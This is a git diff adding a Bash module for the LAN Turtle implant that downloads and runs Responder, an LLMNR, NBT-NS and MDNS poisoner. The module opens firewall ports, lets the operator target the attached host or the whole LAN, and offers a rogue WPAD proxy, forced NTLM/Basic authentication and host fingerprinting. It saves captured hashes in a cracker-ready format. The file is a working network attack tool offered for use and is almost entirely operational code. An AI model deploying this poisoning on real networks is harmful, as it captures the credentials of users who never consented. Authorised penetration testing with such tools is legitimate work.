diff --git a/modules/responder b/modules/responder new file mode 100644 index 0000000..07f260a --- /dev/null +++ b/modules/responder @@ -0,0 +1,409 @@ +#!/bin/bash /usr/lib/turtle/turtle_module + +# responder by IMcPwn +# http://imcpwn.com + +VERSION="2.4" +DESCRIPTION="Responder - LLMNR, NBT-NS and MDNS poisoner" +CONF=/tmp/responder.form +AUTHOR=IMcPwn + +: ${DIALOG_OK=0} +: ${DIALOG_CANCEL=1} +: ${DIALOG_HELP=2} +: ${DIALOG_EXTRA=3} +: ${DIALOG_ESC=255} + +function start { + if [ -s /etc/config/responder ]; + then + responder_interface=$(uci get responder.interface) + responder_log=$(uci get responder.log) + responder_mode=$(uci get responder.mode) + + if [[ $responder_interface == "" ]]; + then + echo "Responder interface not configured." + exit 1 + fi + + if [[ $responder_log == "" ]]; + then + echo "Responder log location not configured." + exit 1 + fi + + if [[ $responder_mode == "" ]]; + then + echo "Responder mode not configured." + exit 1 + fi + + if [[ ! $(opkg list-installed | grep git) ]]; + then + echo "Dependency git not installed. Installing..." + check_internet + opkg update > /dev/null && opkg install git + fi + + if [[ ! $(opkg list-installed | grep python-sqlite3) ]]; + then + echo "Dependency python-sqlite3 not installed. Installing..." + check_internet + opkg update > /dev/null && opkg install python-sqlite3 + fi + + if [[ ! -d /etc/turtle/Responder || ! -s /etc/turtle/Responder/Responder.py || ! -s /etc/turtle/Responder/Responder.conf ]]; + then + echo "Required Responder files not found. Downloading..." + check_internet + rm -rf /etc/turtle/Responder + git clone git://github.com/SpiderLabs/Responder /etc/turtle/Responder -q + fi + + case $responder_mode in + 1) mode="";; + 2) mode="-A";; + 3) mode="-w";; + 4) mode="-r";; + 5) mode="-F";; + 6) mode="-f";; + 7) mode="-v";; + 8) mode="-r -F";; + 9) mode="-r -F -f";; + *) + echo "Responder configuration not valid." + echo "Please re-configure then try again." + rm -f /etc/config/responder + exit 1 + ;; + esac + + case $responder_log in + sshfs) + if pgrep sshfs > /dev/null; + then + if [[ $responder_interface == "eth1" ]]; + then + iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 53 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 137 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 138 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 389 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 5553 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 25 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 80 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 110 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 139 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 389 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 445 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 1433 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 3141 -j ACCEPT + fi + + if [ -s /etc/turtle/Responder/Responder.db ]; + then + rm -f /etc/turtle/Responder/Responder.db + fi + + if [[ $(readlink /etc/turtle/Responder/logs) != "/sshfs/Responder/logs" || ! -d /sshfs/Responder/logs ]]; + then + rm -rf /etc/turtle/Responder/logs + mkdir -p /sshfs/Responder/logs + ln -s /sshfs/Responder/logs /etc/turtle/Responder/logs + fi + + echo "python /etc/turtle/Responder/Responder.py $mode -I $responder_interface" | at now + echo -e "Responder started in mode $responder_mode against interface $responder_interface\nand logs are being saved to /sshfs/Responder" + echo "Logs can be viewed at Configure > log > View log" + else + echo "SSHFS not running" + exit 1 + fi + ;; + tmp) + if [[ $responder_interface == "eth1" ]]; + then + iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 53 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 137 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 138 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 389 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p udp --dport 5553 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 25 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 80 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 110 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 139 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 389 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 445 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 1433 -j ACCEPT + iptables -I INPUT 1 -i eth1 -p tcp --dport 3141 -j ACCEPT + fi + + if [ -s /etc/turtle/Responder/Responder.db ]; + then + rm -f /etc/turtle/Responder/Responder.db + fi + + if [[ $(readlink /etc/turtle/Responder/logs) != "/tmp/Responder/logs" || ! -d /tmp/Responder/logs ]]; then + rm -rf /etc/turtle/Responder/logs + mkdir -p /tmp/Responder/logs + ln -s /tmp/Responder/logs /etc/turtle/Responder/logs + fi + + echo "python /etc/turtle/Responder/Responder.py $mode -I $responder_interface &" | at now + echo -e "Responder started in mode $responder_mode against interface $responder_interface\nand logs are being saved to /tmp/Responder" + echo "Responder started with pid" + pgrep -f Responder.py + ;; + *) + echo "Responder configuration not valid." + echo "Please re-configure then try again." + rm -f /etc/config/responder + exit 1 + ;; + esac + else + echo "Responder not configured." + exit 1 +fi +} + +function stop { + responder_interface=$(uci get responder.interface) + if [[ $responder_interface == "eth1" ]]; + then + #iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT + iptables -t filter -D INPUT -i eth1 -j ACCEPT + iptables -D INPUT -i eth1 -p udp --dport 53 -j ACCEPT + iptables -D INPUT -i eth1 -p udp --dport 137 -j ACCEPT + iptables -D INPUT -i eth1 -p udp --dport 138 -j ACCEPT + iptables -D INPUT -i eth1 -p udp --dport 389 -j ACCEPT + iptables -D INPUT -i eth1 -p udp --dport 5553 -j ACCEPT + iptables -D INPUT -i eth1 -p tcp --dport 21 -j ACCEPT + iptables -D INPUT -i eth1 -p tcp --dport 25 -j ACCEPT + iptables -D INPUT -i eth1 -p tcp --dport 80 -j ACCEPT + iptables -D INPUT -i eth1 -p tcp --dport 110 -j ACCEPT + iptables -D INPUT -i eth1 -p tcp --dport 139 -j ACCEPT + iptables -D INPUT -i eth1 -p tcp --dport 389 -j ACCEPT + iptables -D INPUT -i eth1 -p tcp --dport 445 -j ACCEPT + iptables -D INPUT -i eth1 -p tcp --dport 1433 -j ACCEPT + iptables -D INPUT -i eth1 -p tcp --dport 3141 -j ACCEPT + fi + if pgrep -f Responder.py > /dev/null; then kill $(pgrep -f Responder.py); fi + echo "Responder stopped" +} + +function status { + if ps | grep -w -q [/]etc/turtle/Responder/Responder.py; then echo "1"; else echo "0"; fi +} + +function check_internet { + ping -q -w 5 -c 1 lanturtle.com &> /dev/null && { + : + } || { + echo -e "\nThe LAN Turtle is currently offline. The previous\noperation requires an internet connection." + exit 1 + } +} + +function log { +dialog --ok-label "Submit" \ + --title "Responder Log Configuration" \ + --extra-button \ + --extra-label "View log" \ + --help-button \ + --radiolist "\n\ +The log files can be saved to SSHFS or tmp.\n" 16 60 3\ + 1 "Save log to SSHFS if available." off\ + 2 "Save log to /tmp" off\ + 2>$CONF + return=$? + case $return in + $DIALOG_OK) + LOG=$(cat $CONF) + case $LOG in + 1) + uci set responder.log="sshfs" + uci commit responder + ;; + 2) + uci set responder.log="tmp" + uci commit responder + ;; + esac + configure;; + $DIALOG_CANCEL) + configure;; + $DIALOG_ESC) + configure;; + $DIALOG_EXTRA) + responder_log=$(uci get responder.log) + case $responder_log in + sshfs) + dialog --title "/sshfs/Responder/logs/Responder-Session.log" --clear --tailbox "/sshfs/Responder/logs/Responder-Session.log" 18 72 + ;; + tmp) + dialog --title "/tmp/Responder/logs/Responder-Session.log" --clear --tailbox "/tmp/Responder/logs/Responder-Session.log" 18 72 + ;; + *) + echo "Responder log location not configured." + ;; + esac + log;; + $DIALOG_HELP) + dialog --title "Help" --msgbox "\n\ +All activity will be logged to Responder-Session.log\n\ +Analyze mode will be logged to Analyze-Session.log\n\ +Poisoning will be logged to Poisoners-Session.log\n\n\ +All hashes are dumped an unique file John Jumbo compliant, using this format:\n\ +(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt\n\n\ +" 18 72 +log + esac +} + +function interface { +dialog --ok-label "Submit" \ + --title "Responder Interface Configuration" \ + --radiolist "\n\ +Responder can target the Host machine (The computer the LAN Turtle is plugged in to) or the LAN (The network the LAN Turtle is connected to).\n" 16 60 3\ + 1 "Target just the Host machine (br-lan)." off\ + 2 "Target the entire LAN (eth1)." off\ + 2>$CONF + return=$? + case $return in + $DIALOG_OK) + INTERFACE=$(cat $CONF) + case $INTERFACE in + 1) + uci set responder.interface="br-lan" + uci commit responder + ;; + 2) + uci set responder.interface="eth1" + uci commit responder + ;; + esac + configure;; + $DIALOG_CANCEL) + configure;; + $DIALOG_ESC) + configure;; + esac +} + +function mode { + dialog --ok-label "Submit" \ + --title "Responder Mode" \ + --help-button \ + --radiolist "Choose mode\n \n" 20 60 10\ + 1 "Default mode" off\ + 2 "Analyze mode" off\ + 3 "Start WPAD rouge proxy server" off\ + 4 "Enable answers for netbios suffix queries" off\ + 5 "Force NTLM/Basic Authentication" off\ + 6 "Fingerprint hosts" off\ + 7 "Enable verbose" off\ + 8 "Options 4 and 5" off\ + 9 "Options 4, 5, and 6" off\ + 2>$CONF + return=$? + case $return in + $DIALOG_OK) + mode=$(cat $CONF) + case $mode in + 1) + uci set responder.mode="1" + uci commit responder;; + 2) + uci set responder.mode="2" + uci commit responder;; + 3) + uci set responder.mode="3" + uci commit responder;; + 4) + uci set responder.mode="4" + uci commit responder;; + 5) + uci set responder.mode="5" + uci commit responder;; + 6) + uci set responder.mode="6" + uci commit responder;; + 7) + uci set responder.mode="7" + uci commit responder;; + 8) + uci set responder.mode="8" + uci commit responder;; + 9) + uci set responder.mode="9" + uci commit responder;; + esac + configure;; + $DIALOG_CANCEL) + configure;; + $DIALOG_ESC) + configure;; + $DIALOG_HELP) + dialog --title "Help" --msgbox "\n\ +Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409).\n\ +By default, the tool will only answer to File Server Service request, which is for SMB.\n\n\ +The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior.\n\n\ +For more information, see: https://github.com/SpiderLabs/Responder\n\ +" 18 72 +mode + esac +} + +function responderconf { +dialog \ + --help-button \ + --title "Editing: /etc/turtle/Responder/Responder.conf" \ + --editbox /etc/turtle/Responder/Responder.conf 18 72\ + 2>$CONF + return=$? + case $return in + $DIALOG_OK) + cat $CONF | { + cat $CONF > /etc/turtle/Responder/Responder.conf + rm $CONF + configure + };; + $DIALOG_HELP) + dialog --title "Help" \ + --msgbox "For information on this configuration, see: https://github.com/SpiderLabs/Responder" 20 60 + responderconf;; + $DIALOG_CANCEL) + rm $CONF + configure;; + $DIALOG_ESC) + rm $CONF + configure;; + esac +} + +function configure { +if [[ ! -s /etc/config/responder ]]; +then + touch /etc/config/responder +fi + + dialog --title "" --menu "" 15 60 5 \ + "log" "Specify log location" \ + "interface" "Specify interface to target" \ + "mode" "Specify Responder mode" \ + "responderconf" "Edit Responder.conf" \ + "back" "Return to previous menu" 2> $CONF + result=$(cat $CONF && rm $CONF &>/dev/null) + case $result in + "log") log;; + "interface") interface;; + "mode") mode;; + "responderconf") responderconf;; + "back") exit;; + esac +}